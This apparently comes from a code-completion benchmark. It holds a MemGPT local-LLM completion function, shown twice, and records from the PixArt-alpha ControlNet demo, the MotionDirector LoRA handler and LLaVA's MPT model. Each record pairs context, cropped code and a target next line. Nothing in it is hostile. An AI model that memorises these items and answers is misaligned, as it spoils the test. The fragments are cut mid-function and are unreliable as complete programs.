assert context_window is not None, "Local LLM calls need the context length to be explicitly set" assert endpoint is not None, "Local LLM calls need the endpoint (eg http://localendpoint:1234) to be explicitly set" assert endpoint_type is not None, "Local LLM calls need the endpoint type (eg webui) to be explicitly set" global has_shown_warning grammar = None if function_call != "auto": raise ValueError(f"function_call == {function_call} not supported (auto only)") available_wrappers = get_available_wrappers() documentation = None # Special case for if the call we're making is coming from the summarizer if messages[0]["role"] == "system" and messages[0]["content"].strip() == SUMMARIZE_SYSTEM_MESSAGE.strip(): llm_wrapper = simple_summary_wrapper.SimpleSummaryWrapper() # Select a default prompt formatter elif wrapper is None: # Warn the user that we're using the fallback if not has_shown_warning: print( f"{CLI_WARNING_PREFIX}no wrapper specified for local LLM, using the default wrapper (you can remove this warning by specifying the wrapper with --model-wrapper)" ) has_shown_warning = True llm_wrapper = DEFAULT_WRAPPER() # User provided an incorrect prompt formatter elif wrapper not in available_wrappers: raise ValueError(f"Could not find requested wrapper '{wrapper} in available wrappers list:\n{', '.join(available_wrappers)}") # User provided a correct prompt formatter else: llm_wrapper = available_wrappers[wrapper] # If the wrapper uses grammar, generate the grammar using the grammar generating function # TODO move this to a flag if wrapper is not None and "grammar" in wrapper: # When using grammars, we don't want to do any extras output tricks like appending a response prefix setattr(llm_wrapper, "assistant_prefix_extra_first_message", "") setattr(llm_wrapper, "assistant_prefix_extra", "") # TODO find a better way to do this than string matching (eg an attribute) if "noforce" in wrapper: # "noforce" means that the prompt formatter expects inner thoughts as a top-level parameter # this is closer to the OpenAI style since it allows for messages w/o any function calls # however, with bad LLMs it makes it easier for the LLM to "forget" to call any of the functions grammar, documentation = generate_grammar_and_documentation( functions_python=functions_python, add_inner_thoughts_top_level=True, add_inner_thoughts_param_level=False, allow_only_inner_thoughts=True, ) else: # otherwise, the other prompt formatters will insert inner thoughts as a function call parameter (by default) # this means that every response from the LLM will be required to call a function grammar, documentation = generate_grammar_and_documentation( functions_python=functions_python, add_inner_thoughts_top_level=False, add_inner_thoughts_param_level=True, allow_only_inner_thoughts=False, ) printd(grammar) if grammar is not None and endpoint_type not in grammar_supported_backends: print( f"{CLI_WARNING_PREFIX}grammars are currently not supported when using {endpoint_type} as the MemGPT local LLM backend (supported: {', '.join(grammar_supported_backends)})" ) grammar = None # First step: turn the message sequence into a prompt that the model expects try: # if hasattr(llm_wrapper, "supports_first_message"): if hasattr(llm_wrapper, "supports_first_message") and llm_wrapper.supports_first_message: prompt = llm_wrapper.chat_completion_to_prompt( messages, functions, first_message=first_message, function_documentation=documentation ) else: prompt = llm_wrapper.chat_completion_to_prompt(messages, functions, function_documentation=documentation) printd(prompt) except Exception as e: raise LocalLLMError( f"Failed to convert ChatCompletion messages into prompt string with wrapper {str(llm_wrapper)} - error: {str(e)}" ) try: if endpoint_type == "webui": result, usage = get_webui_completion(endpoint, auth_type, auth_key, prompt, context_window, grammar=grammar) elif endpoint_type == "webui-legacy": result, usage = get_webui_completion_legacy(endpoint, auth_type, auth_key, prompt, context_window, grammar=grammar) elif endpoint_type == "lmstudio": result, usage = get_lmstudio_completion(endpoint, auth_type, auth_key, prompt, context_window, api="completions") elif endpoint_type == "lmstudio-legacy": result, usage = get_lmstudio_completion(endpoint, auth_type, auth_key, prompt, context_window, api="chat") elif endpoint_type == "llamacpp": result, usage = get_llamacpp_completion(endpoint, auth_type, auth_key, prompt, context_window, grammar=grammar) elif endpoint_type == "koboldcpp": result, usage = get_koboldcpp_completion(endpoint, auth_type, auth_key, prompt, context_window, grammar=grammar) elif endpoint_type == "ollama": result, usage = get_ollama_completion(endpoint, auth_type, auth_key, model, prompt, context_window) elif endpoint_type == "vllm": result, usage = get_vllm_completion(endpoint, auth_type, auth_key, model, prompt, context_window, user) else: raise LocalLLMError( f"Invalid endpoint type {endpoint_type}, please set variable depending on your backend (webui, lmstudio, llamacpp, koboldcpp)" ) except requests.exceptions.ConnectionError as e: raise LocalLLMConnectionError(f"Unable to connect to endpoint {endpoint}") if result is None or result == "": raise LocalLLMError(f"Got back an empty response string from {endpoint}") printd(f"Raw LLM output:\n====\n{result}\n====") try: if hasattr(llm_wrapper, "supports_first_message") and llm_wrapper.supports_first_message: chat_completion_result = llm_wrapper.output_to_chat_completion_response(result, first_message=first_message) else: chat_completion_result = llm_wrapper.output_to_chat_completion_response(result)
"""Key idea: create drop-in replacement for agent's ChatCompletion call that runs on an OpenLLM backend""" has_shown_warning = False grammar_supported_backends = ["koboldcpp", "llamacpp", "webui", "webui-legacy"] def get_chat_completion( model, # no model required (except for Ollama), since the model is fixed to whatever you set in your own backend messages, functions=None, functions_python=None, function_call="auto", context_window=None, user=None, # required wrapper=None, endpoint=None, endpoint_type=None, # optional cleanup function_correction=True, # extra hints to allow for additional prompt formatting hacks # TODO this could alternatively be supported via passing function_call="send_message" into the wrapper first_message=False, # optional auth headers auth_type=None, auth_key=None, ) -> ChatCompletionResponse: assert context_window is not None, "Local LLM calls need the context length to be explicitly set" assert endpoint is not None, "Local LLM calls need the endpoint (eg http://localendpoint:1234) to be explicitly set" assert endpoint_type is not None, "Local LLM calls need the endpoint type (eg webui) to be explicitly set" global has_shown_warning grammar = None if function_call != "auto": raise ValueError(f"function_call == {function_call} not supported (auto only)") available_wrappers = get_available_wrappers() documentation = None # Special case for if the call we're making is coming from the summarizer if messages[0]["role"] == "system" and messages[0]["content"].strip() == SUMMARIZE_SYSTEM_MESSAGE.strip(): llm_wrapper = simple_summary_wrapper.SimpleSummaryWrapper() # Select a default prompt formatter elif wrapper is None: # Warn the user that we're using the fallback if not has_shown_warning: print( f"{CLI_WARNING_PREFIX}no wrapper specified for local LLM, using the default wrapper (you can remove this warning by specifying the wrapper with --model-wrapper)" ) has_shown_warning = True llm_wrapper = DEFAULT_WRAPPER() # User provided an incorrect prompt formatter elif wrapper not in available_wrappers: raise ValueError(f"Could not find requested wrapper '{wrapper} in available wrappers list:\n{', '.join(available_wrappers)}") # User provided a correct prompt formatter else: llm_wrapper = available_wrappers[wrapper] # If the wrapper uses grammar, generate the grammar using the grammar generating function # TODO move this to a flag if wrapper is not None and "grammar" in wrapper: # When using grammars, we don't want to do any extras output tricks like appending a response prefix setattr(llm_wrapper, "assistant_prefix_extra_first_message", "") setattr(llm_wrapper, "assistant_prefix_extra", "") # TODO find a better way to do this than string matching (eg an attribute) if "noforce" in wrapper: # "noforce" means that the prompt formatter expects inner thoughts as a top-level parameter # this is closer to the OpenAI style since it allows for messages w/o any function calls # however, with bad LLMs it makes it easier for the LLM to "forget" to call any of the functions grammar, documentation = generate_grammar_and_documentation( functions_python=functions_python, add_inner_thoughts_top_level=True, add_inner_thoughts_param_level=False, allow_only_inner_thoughts=True, ) else: # otherwise, the other prompt formatters will insert inner thoughts as a function call parameter (by default) # this means that every response from the LLM will be required to call a function grammar, documentation = generate_grammar_and_documentation( functions_python=functions_python, add_inner_thoughts_top_level=False, add_inner_thoughts_param_level=True, allow_only_inner_thoughts=False, ) printd(grammar) if grammar is not None and endpoint_type not in grammar_supported_backends: print( f"{CLI_WARNING_PREFIX}grammars are currently not supported when using {endpoint_type} as the MemGPT local LLM backend (supported: {', '.join(grammar_supported_backends)})" ) grammar = None # First step: turn the message sequence into a prompt that the model expects try: # if hasattr(llm_wrapper, "supports_first_message"): if hasattr(llm_wrapper, "supports_first_message") and llm_wrapper.supports_first_message: prompt = llm_wrapper.chat_completion_to_prompt( messages, functions, first_message=first_message, function_documentation=documentation ) else: prompt = llm_wrapper.chat_completion_to_prompt(messages, functions, function_documentation=documentation) printd(prompt) except Exception as e: raise LocalLLMError( f"Failed to convert ChatCompletion messages into prompt string with wrapper {str(llm_wrapper)} - error: {str(e)}" ) try: if endpoint_type == "webui": result, usage = get_webui_completion(endpoint, auth_type, auth_key, prompt, context_window, grammar=grammar) elif endpoint_type == "webui-legacy": result, usage = get_webui_completion_legacy(endpoint, auth_type, auth_key, prompt, context_window, grammar=grammar) elif endpoint_type == "lmstudio": result, usage = get_lmstudio_completion(endpoint, auth_type, auth_key, prompt, context_window, api="completions") elif endpoint_type == "lmstudio-legacy": result, usage = get_lmstudio_completion(endpoint, auth_type, auth_key, prompt, context_window, api="chat") elif endpoint_type == "llamacpp": result, usage = get_llamacpp_completion(endpoint, auth_type, auth_key, prompt, context_window, grammar=grammar) elif endpoint_type == "koboldcpp": result, usage = get_koboldcpp_completion(endpoint, auth_type, auth_key, prompt, context_window, grammar=grammar) elif endpoint_type == "ollama": result, usage = get_ollama_completion(endpoint, auth_type, auth_key, model, prompt, context_window) elif endpoint_type == "vllm": result, usage = get_vllm_completion(endpoint, auth_type, auth_key, model, prompt, context_window, user) else: raise LocalLLMError( f"Invalid endpoint type {endpoint_type}, please set variable depending on your backend (webui, lmstudio, llamacpp, koboldcpp)" ) except requests.exceptions.ConnectionError as e: raise LocalLLMConnectionError(f"Unable to connect to endpoint {endpoint}") if result is None or result == "": raise LocalLLMError(f"Got back an empty response string from {endpoint}") printd(f"Raw LLM output:\n====\n{result}\n====") try: if hasattr(llm_wrapper, "supports_first_message") and llm_wrapper.supports_first_message: chat_completion_result = llm_wrapper.output_to_chat_completion_response(result, first_message=first_message) else: chat_completion_result = llm_wrapper.output_to_chat_completion_response(result)
printd(json.dumps(chat_completion_result, indent=2, ensure_ascii=JSON_ENSURE_ASCII))
18
2023-10-11 07:38:37+00:00
12k
PixArt-alpha/PixArt-alpha
app/app_controlnet.py
[ { "identifier": "IDDPM", "path": "diffusion/iddpm.py", "snippet": "def IDDPM(\n timestep_respacing,\n noise_schedule=\"linear\",\n use_kl=False,\n sigma_small=False,\n predict_xstart=False,\n learn_sigma=True,\n pred_sigma=True,\n rescale_learned_s...
import argparse import os import random import sys import uuid import gradio as gr import numpy as np import torch import torchvision.transforms as T import torchvision.transforms.functional as TF from datetime import datetime from pathlib import Path from typing import List, Tuple, Union from PIL import Image as PILImage from torchvision.utils import _log_api_usage_once, make_grid, save_image from diffusers import ConsistencyDecoderVAE, PixArtAlphaPipeline, DPMSolverMultistepScheduler from diffusion import IDDPM, DPMS, SASolverSampler from diffusion.data.datasets import * from diffusion.model.hed import HEDdetector from diffusion.model.nets import PixArtMS_XL_2, ControlPixArtHalf, ControlPixArtMSHalf from diffusion.model.utils import prepare_prompt_ar, resize_and_crop_tensor from diffusion.utils.misc import read_config from tools.download import find_model
8,449
torch.cuda.empty_cache() strength = 1.0 c_vis = given_image if not use_negative_prompt: negative_prompt = None # type: ignore prompt, negative_prompt = apply_style(style, prompt, negative_prompt) prompt_embeds, prompt_attention_mask, negative_prompt_embeds, negative_prompt_attention_mask\ = pipe.encode_prompt(prompt=prompt, negative_prompt=negative_prompt) prompt_embeds, negative_prompt_embeds = prompt_embeds[:, None], negative_prompt_embeds[:, None] torch.cuda.empty_cache() # condition process if given_image is not None: ar = torch.tensor([given_image.size[1] / given_image.size[0]], device=device)[None] custom_hw = torch.tensor([given_image.size[1], given_image.size[0]], device=device)[None] closest_hw = base_ratios[min(base_ratios.keys(), key=lambda ratio: abs(float(ratio) - ar))] hw = torch.tensor(closest_hw, device=device)[None] condition_transform = T.Compose([ T.Lambda(lambda img: img.convert('RGB')), T.Resize(int(min(closest_hw))), T.CenterCrop([int(closest_hw[0]), int(closest_hw[1])]), T.ToTensor(), ]) given_image = condition_transform(given_image).unsqueeze(0).to(device) hed_edge = hed(given_image) * strength hed_edge = TF.normalize(hed_edge, [.5], [.5]) hed_edge = hed_edge.repeat(1, 3, 1, 1).to(weight_dtype) posterior = vae.encode(hed_edge).latent_dist condition = posterior.sample() c = condition * config.scale_factor c_vis = vae.decode(condition)['sample'] c_vis = torch.clamp(127.5 * c_vis + 128.0, 0, 255).permute(0, 2, 3, 1).to("cpu", dtype=torch.uint8).numpy()[0] else: c = None hw = torch.tensor([int(height), int(width)], device=device)[None] ar = torch.tensor([int(height) / int(width)], device=device)[None] custom_hw = torch.tensor([int(height), int(width)], device=device)[None] latent_size_h, latent_size_w = int(hw[0, 0] // 8), int(hw[0, 1] // 8) # Sample images: if schedule == 'DPM-Solver': # Create sampling noise: n = prompt_embeds.shape[0] z = torch.randn(n, 4, latent_size_h, latent_size_w, device=device) model_kwargs = dict(data_info={'img_hw': hw, 'aspect_ratio': ar}, mask=prompt_attention_mask, c=c) dpm_solver = DPMS(model.forward_with_dpmsolver, condition=prompt_embeds, uncondition=negative_prompt_embeds, cfg_scale=dpms_guidance_scale, model_kwargs=model_kwargs) samples = dpm_solver.sample( z, steps=dpms_inference_steps, order=2, skip_type="time_uniform", method="multistep", ).to(weight_dtype) elif schedule == "SA-Solver": # Create sampling noise: n = prompt_embeds.shape[0] model_kwargs = dict(data_info={'img_hw': hw, 'aspect_ratio': ar}, mask=prompt_attention_mask, c=c) sas_solver = SASolverSampler(model.forward_with_dpmsolver, device=device) samples = sas_solver.sample( S=sas_inference_steps, batch_size=n, shape=(4, latent_size_h, latent_size_w), eta=1, conditioning=prompt_embeds, unconditional_conditioning=negative_prompt_embeds, unconditional_guidance_scale=sas_guidance_scale, model_kwargs=model_kwargs, )[0].to(weight_dtype) samples = vae.decode(samples / config.scale_factor).sample torch.cuda.empty_cache() samples = resize_and_crop_tensor(samples, custom_hw[0, 1], custom_hw[0, 0]) samples = PILImage.fromarray(ndarr_image(samples, normalize=True, value_range=(-1, 1))) image_paths = [save_image(samples)] c_vis = PILImage.fromarray(c_vis) if c_vis is not None else samples c_paths = [save_image(c_vis)] print(image_paths) return image_paths, c_paths, seed def get_args(): parser = argparse.ArgumentParser() parser.add_argument("config", type=str, help="config") parser.add_argument('--image_size', default=1024, type=int) parser.add_argument('--model_path', type=str) return parser.parse_args() args = get_args() config = read_config(args.config) device = "cuda" if torch.cuda.is_available() else "cpu" assert args.image_size in [512, 1024], "We only provide pre-trained models for 512x512 and 1024x1024 resolutions." lewei_scale = {512: 1, 1024: 2} latent_size = args.image_size // 8 weight_dtype = torch.float16 print(f"Inference with {weight_dtype}") if torch.cuda.is_available(): hed = HEDdetector(False).to(device) pipe = PixArtAlphaPipeline.from_pretrained( "PixArt-alpha/PixArt-XL-2-1024-MS", transformer=None, torch_dtype=weight_dtype, use_safetensors=True, ) pipe.to(device) print("Loaded on Device!") vae = pipe.vae text_encoder = pipe.text_encoder tokenizer = pipe.tokenizer
#!/usr/bin/env python from __future__ import annotations current_file_path = Path(__file__).resolve() sys.path.insert(0, str(current_file_path.parent.parent)) DESCRIPTION = """![Logo](https://raw.githubusercontent.com/PixArt-alpha/PixArt-alpha.github.io/master/static/images/logo.png) # PixArt-Delta (ControlNet) 1024px #### [PixArt-Alpha 1024px](https://github.com/PixArt-alpha/PixArt-alpha) is a transformer-based text-to-image diffusion system trained on text embeddings from T5. #### This demo uses the [PixArt-alpha/PixArt-XL-2-1024-ControlNet](https://huggingface.co/PixArt-alpha/PixArt-alpha/blob/main/PixArt-XL-2-1024-ControlNet.pth) checkpoint. #### English prompts ONLY; 提示词仅限英文 ### <span style='color: red;'>You may change the DPM-Solver inference steps from 14 to 20, if you didn't get satisfied results. """ if not torch.cuda.is_available(): DESCRIPTION += "\n<p>Running on CPU 🥶 This demo does not work on CPU.</p>" MAX_SEED = np.iinfo(np.int32).max CACHE_EXAMPLES = torch.cuda.is_available() and os.getenv("CACHE_EXAMPLES", "1") == "1" MAX_IMAGE_SIZE = int(os.getenv("MAX_IMAGE_SIZE", "2048")) USE_TORCH_COMPILE = os.getenv("USE_TORCH_COMPILE", "0") == "1" ENABLE_CPU_OFFLOAD = os.getenv("ENABLE_CPU_OFFLOAD", "0") == "1" PORT = int(os.getenv("DEMO_PORT", "15432")) device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu") @torch.no_grad() def ndarr_image(tensor: Union[torch.Tensor, List[torch.Tensor]], **kwargs, ) -> None: if not torch.jit.is_scripting() and not torch.jit.is_tracing(): _log_api_usage_once(save_image) grid = make_grid(tensor, **kwargs) ndarr = grid.mul(255).add_(0.5).clamp_(0, 255).permute(1, 2, 0).to("cpu", torch.uint8).numpy() return ndarr style_list = [ { "name": "(No style)", "prompt": "{prompt}", "negative_prompt": "", }, { "name": "Cinematic", "prompt": "cinematic still {prompt} . emotional, harmonious, vignette, highly detailed, high budget, bokeh, cinemascope, moody, epic, gorgeous, film grain, grainy", "negative_prompt": "anime, cartoon, graphic, text, painting, crayon, graphite, abstract, glitch, deformed, mutated, ugly, disfigured", }, { "name": "Photographic", "prompt": "cinematic photo {prompt} . 35mm photograph, film, bokeh, professional, 4k, highly detailed", "negative_prompt": "drawing, painting, crayon, sketch, graphite, impressionist, noisy, blurry, soft, deformed, ugly", }, { "name": "Anime", "prompt": "anime artwork {prompt} . anime style, key visual, vibrant, studio anime, highly detailed", "negative_prompt": "photo, deformed, black and white, realism, disfigured, low contrast", }, { "name": "Manga", "prompt": "manga style {prompt} . vibrant, high-energy, detailed, iconic, Japanese comic style", "negative_prompt": "ugly, deformed, noisy, blurry, low contrast, realism, photorealistic, Western comic style", }, { "name": "Digital Art", "prompt": "concept art {prompt} . digital artwork, illustrative, painterly, matte painting, highly detailed", "negative_prompt": "photo, photorealistic, realism, ugly", }, { "name": "Pixel art", "prompt": "pixel-art {prompt} . low-res, blocky, pixel art style, 8-bit graphics", "negative_prompt": "sloppy, messy, blurry, noisy, highly detailed, ultra textured, photo, realistic", }, { "name": "Fantasy art", "prompt": "ethereal fantasy concept art of {prompt} . magnificent, celestial, ethereal, painterly, epic, majestic, magical, fantasy art, cover art, dreamy", "negative_prompt": "photographic, realistic, realism, 35mm film, dslr, cropped, frame, text, deformed, glitch, noise, noisy, off-center, deformed, cross-eyed, closed eyes, bad anatomy, ugly, disfigured, sloppy, duplicate, mutated, black and white", }, { "name": "Neonpunk", "prompt": "neonpunk style {prompt} . cyberpunk, vaporwave, neon, vibes, vibrant, stunningly beautiful, crisp, detailed, sleek, ultramodern, magenta highlights, dark purple shadows, high contrast, cinematic, ultra detailed, intricate, professional", "negative_prompt": "painting, drawing, illustration, glitch, deformed, mutated, cross-eyed, ugly, disfigured", }, { "name": "3D Model", "prompt": "professional 3d model {prompt} . octane render, highly detailed, volumetric, dramatic lighting", "negative_prompt": "ugly, deformed, noisy, low poly, blurry, painting", }, ] styles = {k["name"]: (k["prompt"], k["negative_prompt"]) for k in style_list} STYLE_NAMES = list(styles.keys()) DEFAULT_STYLE_NAME = "(No style)" SCHEDULE_NAME = ["DPM-Solver", "SA-Solver"] DEFAULT_SCHEDULE_NAME = "DPM-Solver" def apply_style(style_name: str, positive: str, negative: str = "") -> Tuple[str, str]: p, n = styles.get(style_name, styles[DEFAULT_STYLE_NAME]) if not negative: negative = "" return p.replace("{prompt}", positive), n + negative def save_image(img): unique_name = str(uuid.uuid4()) + '.png' save_path = os.path.join(f'output/online_demo_img/{datetime.now().date()}') os.makedirs(save_path, exist_ok=True) unique_name = os.path.join(save_path, unique_name) img.save(unique_name) return unique_name def randomize_seed_fn(seed: int, randomize_seed: bool) -> int: if randomize_seed: seed = random.randint(0, MAX_SEED) return seed @torch.inference_mode() def generate( prompt: str, given_image = None, negative_prompt: str = "", style: str = DEFAULT_STYLE_NAME, use_negative_prompt: bool = False, seed: int = 0, width: int = 1024, height: int = 1024, schedule: str = 'DPM-Solver', dpms_guidance_scale: float = 4.5, sas_guidance_scale: float = 3, dpms_inference_steps: int = 14, sas_inference_steps: int = 25, randomize_seed: bool = False, ): seed = int(randomize_seed_fn(seed, randomize_seed)) torch.manual_seed(seed) torch.cuda.empty_cache() strength = 1.0 c_vis = given_image if not use_negative_prompt: negative_prompt = None # type: ignore prompt, negative_prompt = apply_style(style, prompt, negative_prompt) prompt_embeds, prompt_attention_mask, negative_prompt_embeds, negative_prompt_attention_mask\ = pipe.encode_prompt(prompt=prompt, negative_prompt=negative_prompt) prompt_embeds, negative_prompt_embeds = prompt_embeds[:, None], negative_prompt_embeds[:, None] torch.cuda.empty_cache() # condition process if given_image is not None: ar = torch.tensor([given_image.size[1] / given_image.size[0]], device=device)[None] custom_hw = torch.tensor([given_image.size[1], given_image.size[0]], device=device)[None] closest_hw = base_ratios[min(base_ratios.keys(), key=lambda ratio: abs(float(ratio) - ar))] hw = torch.tensor(closest_hw, device=device)[None] condition_transform = T.Compose([ T.Lambda(lambda img: img.convert('RGB')), T.Resize(int(min(closest_hw))), T.CenterCrop([int(closest_hw[0]), int(closest_hw[1])]), T.ToTensor(), ]) given_image = condition_transform(given_image).unsqueeze(0).to(device) hed_edge = hed(given_image) * strength hed_edge = TF.normalize(hed_edge, [.5], [.5]) hed_edge = hed_edge.repeat(1, 3, 1, 1).to(weight_dtype) posterior = vae.encode(hed_edge).latent_dist condition = posterior.sample() c = condition * config.scale_factor c_vis = vae.decode(condition)['sample'] c_vis = torch.clamp(127.5 * c_vis + 128.0, 0, 255).permute(0, 2, 3, 1).to("cpu", dtype=torch.uint8).numpy()[0] else: c = None hw = torch.tensor([int(height), int(width)], device=device)[None] ar = torch.tensor([int(height) / int(width)], device=device)[None] custom_hw = torch.tensor([int(height), int(width)], device=device)[None] latent_size_h, latent_size_w = int(hw[0, 0] // 8), int(hw[0, 1] // 8) # Sample images: if schedule == 'DPM-Solver': # Create sampling noise: n = prompt_embeds.shape[0] z = torch.randn(n, 4, latent_size_h, latent_size_w, device=device) model_kwargs = dict(data_info={'img_hw': hw, 'aspect_ratio': ar}, mask=prompt_attention_mask, c=c) dpm_solver = DPMS(model.forward_with_dpmsolver, condition=prompt_embeds, uncondition=negative_prompt_embeds, cfg_scale=dpms_guidance_scale, model_kwargs=model_kwargs) samples = dpm_solver.sample( z, steps=dpms_inference_steps, order=2, skip_type="time_uniform", method="multistep", ).to(weight_dtype) elif schedule == "SA-Solver": # Create sampling noise: n = prompt_embeds.shape[0] model_kwargs = dict(data_info={'img_hw': hw, 'aspect_ratio': ar}, mask=prompt_attention_mask, c=c) sas_solver = SASolverSampler(model.forward_with_dpmsolver, device=device) samples = sas_solver.sample( S=sas_inference_steps, batch_size=n, shape=(4, latent_size_h, latent_size_w), eta=1, conditioning=prompt_embeds, unconditional_conditioning=negative_prompt_embeds, unconditional_guidance_scale=sas_guidance_scale, model_kwargs=model_kwargs, )[0].to(weight_dtype) samples = vae.decode(samples / config.scale_factor).sample torch.cuda.empty_cache() samples = resize_and_crop_tensor(samples, custom_hw[0, 1], custom_hw[0, 0]) samples = PILImage.fromarray(ndarr_image(samples, normalize=True, value_range=(-1, 1))) image_paths = [save_image(samples)] c_vis = PILImage.fromarray(c_vis) if c_vis is not None else samples c_paths = [save_image(c_vis)] print(image_paths) return image_paths, c_paths, seed def get_args(): parser = argparse.ArgumentParser() parser.add_argument("config", type=str, help="config") parser.add_argument('--image_size', default=1024, type=int) parser.add_argument('--model_path', type=str) return parser.parse_args() args = get_args() config = read_config(args.config) device = "cuda" if torch.cuda.is_available() else "cpu" assert args.image_size in [512, 1024], "We only provide pre-trained models for 512x512 and 1024x1024 resolutions." lewei_scale = {512: 1, 1024: 2} latent_size = args.image_size // 8 weight_dtype = torch.float16 print(f"Inference with {weight_dtype}") if torch.cuda.is_available(): hed = HEDdetector(False).to(device) pipe = PixArtAlphaPipeline.from_pretrained( "PixArt-alpha/PixArt-XL-2-1024-MS", transformer=None, torch_dtype=weight_dtype, use_safetensors=True, ) pipe.to(device) print("Loaded on Device!") vae = pipe.vae text_encoder = pipe.text_encoder tokenizer = pipe.tokenizer
model = PixArtMS_XL_2(input_size=latent_size, lewei_scale=lewei_scale[args.image_size])
4
2023-10-12 14:16:33+00:00
12k
showlab/MotionDirector
utils/lora_handler.py
[ { "identifier": "UNet3DConditionModel", "path": "models/unet_3d_condition.py", "snippet": "class UNet3DConditionModel(ModelMixin, ConfigMixin):\n r\"\"\"\n UNet3DConditionModel is a conditional 2D UNet model that takes in a noisy sample, conditional state, and a timestep\n and returns sample sh...
import os import torch from logging import warnings from typing import Union from types import SimpleNamespace from models.unet_3d_condition import UNet3DConditionModel from transformers import CLIPTextModel from utils.convert_diffusers_to_original_ms_text_to_video import convert_unet_state_dict, convert_text_enc_state_dict_v20 from .lora import ( extract_lora_ups_down, inject_trainable_lora_extended, save_lora_weight, train_patch_pipe, monkeypatch_or_replace_lora, monkeypatch_or_replace_lora_extended )
10,082
FILE_BASENAMES = ['unet', 'text_encoder'] LORA_FILE_TYPES = ['.pt', '.safetensors'] CLONE_OF_SIMO_KEYS = ['model', 'loras', 'target_replace_module', 'r'] STABLE_LORA_KEYS = ['model', 'target_module', 'search_class', 'r', 'dropout', 'lora_bias'] lora_versions = dict( stable_lora = "stable_lora", cloneofsimo = "cloneofsimo" ) lora_func_types = dict( loader = "loader", injector = "injector" ) lora_args = dict( model = None, loras = None, target_replace_module = [], target_module = [], r = 4, search_class = [torch.nn.Linear], dropout = 0, lora_bias = 'none' ) LoraVersions = SimpleNamespace(**lora_versions) LoraFuncTypes = SimpleNamespace(**lora_func_types) LORA_VERSIONS = [LoraVersions.stable_lora, LoraVersions.cloneofsimo] LORA_FUNC_TYPES = [LoraFuncTypes.loader, LoraFuncTypes.injector] def filter_dict(_dict, keys=[]): if len(keys) == 0: assert "Keys cannot empty for filtering return dict." for k in keys: if k not in lora_args.keys(): assert f"{k} does not exist in available LoRA arguments" return {k: v for k, v in _dict.items() if k in keys} class LoraHandler(object): def __init__( self, version: LORA_VERSIONS = LoraVersions.cloneofsimo, use_unet_lora: bool = False, use_text_lora: bool = False, save_for_webui: bool = False, only_for_webui: bool = False, lora_bias: str = 'none', unet_replace_modules: list = None, text_encoder_replace_modules: list = None ): self.version = version self.lora_loader = self.get_lora_func(func_type=LoraFuncTypes.loader) self.lora_injector = self.get_lora_func(func_type=LoraFuncTypes.injector) self.lora_bias = lora_bias self.use_unet_lora = use_unet_lora self.use_text_lora = use_text_lora self.save_for_webui = save_for_webui self.only_for_webui = only_for_webui self.unet_replace_modules = unet_replace_modules self.text_encoder_replace_modules = text_encoder_replace_modules self.use_lora = any([use_text_lora, use_unet_lora]) def is_cloneofsimo_lora(self): return self.version == LoraVersions.cloneofsimo def get_lora_func(self, func_type: LORA_FUNC_TYPES = LoraFuncTypes.loader): if self.is_cloneofsimo_lora(): if func_type == LoraFuncTypes.loader:
FILE_BASENAMES = ['unet', 'text_encoder'] LORA_FILE_TYPES = ['.pt', '.safetensors'] CLONE_OF_SIMO_KEYS = ['model', 'loras', 'target_replace_module', 'r'] STABLE_LORA_KEYS = ['model', 'target_module', 'search_class', 'r', 'dropout', 'lora_bias'] lora_versions = dict( stable_lora = "stable_lora", cloneofsimo = "cloneofsimo" ) lora_func_types = dict( loader = "loader", injector = "injector" ) lora_args = dict( model = None, loras = None, target_replace_module = [], target_module = [], r = 4, search_class = [torch.nn.Linear], dropout = 0, lora_bias = 'none' ) LoraVersions = SimpleNamespace(**lora_versions) LoraFuncTypes = SimpleNamespace(**lora_func_types) LORA_VERSIONS = [LoraVersions.stable_lora, LoraVersions.cloneofsimo] LORA_FUNC_TYPES = [LoraFuncTypes.loader, LoraFuncTypes.injector] def filter_dict(_dict, keys=[]): if len(keys) == 0: assert "Keys cannot empty for filtering return dict." for k in keys: if k not in lora_args.keys(): assert f"{k} does not exist in available LoRA arguments" return {k: v for k, v in _dict.items() if k in keys} class LoraHandler(object): def __init__( self, version: LORA_VERSIONS = LoraVersions.cloneofsimo, use_unet_lora: bool = False, use_text_lora: bool = False, save_for_webui: bool = False, only_for_webui: bool = False, lora_bias: str = 'none', unet_replace_modules: list = None, text_encoder_replace_modules: list = None ): self.version = version self.lora_loader = self.get_lora_func(func_type=LoraFuncTypes.loader) self.lora_injector = self.get_lora_func(func_type=LoraFuncTypes.injector) self.lora_bias = lora_bias self.use_unet_lora = use_unet_lora self.use_text_lora = use_text_lora self.save_for_webui = save_for_webui self.only_for_webui = only_for_webui self.unet_replace_modules = unet_replace_modules self.text_encoder_replace_modules = text_encoder_replace_modules self.use_lora = any([use_text_lora, use_unet_lora]) def is_cloneofsimo_lora(self): return self.version == LoraVersions.cloneofsimo def get_lora_func(self, func_type: LORA_FUNC_TYPES = LoraFuncTypes.loader): if self.is_cloneofsimo_lora(): if func_type == LoraFuncTypes.loader:
return monkeypatch_or_replace_lora_extended
8
2023-10-12 12:06:55+00:00
12k
SkunkworksAI/BakLLaVA
llava/model/language_model/mpt/modeling_mpt.py
[ { "identifier": "attn_bias_shape", "path": "llava/model/language_model/mpt/attention.py", "snippet": "def attn_bias_shape(attn_impl, n_heads, seq_len, alibi, prefix_lm, causal, use_sequence_id):\n if attn_impl == 'flash':\n return None\n elif attn_impl in ['torch', 'triton']:\n if al...
import math import warnings import torch import torch.nn as nn import torch.nn.functional as F from typing import List, Optional, Tuple, Union from transformers import PreTrainedModel, PreTrainedTokenizer, PreTrainedTokenizerFast from transformers.modeling_outputs import BaseModelOutputWithPast, CausalLMOutputWithPast from .attention import attn_bias_shape, build_attn_bias from .blocks import MPTBlock from .custom_embedding import SharedEmbedding from .norm import NORM_CLASS_REGISTRY from .configuration_mpt import MPTConfig from .adapt_tokenizer import AutoTokenizerForMOD, adapt_tokenizer_for_denoising from .hf_prefixlm_converter import add_bidirectional_mask_if_missing, convert_hf_causal_lm_to_prefix_lm from .meta_init_context import init_empty_weights from .param_init_fns import MODEL_INIT_REGISTRY, generic_param_init_fn_ from .flash_attn_triton import flash_attn_func
9,446
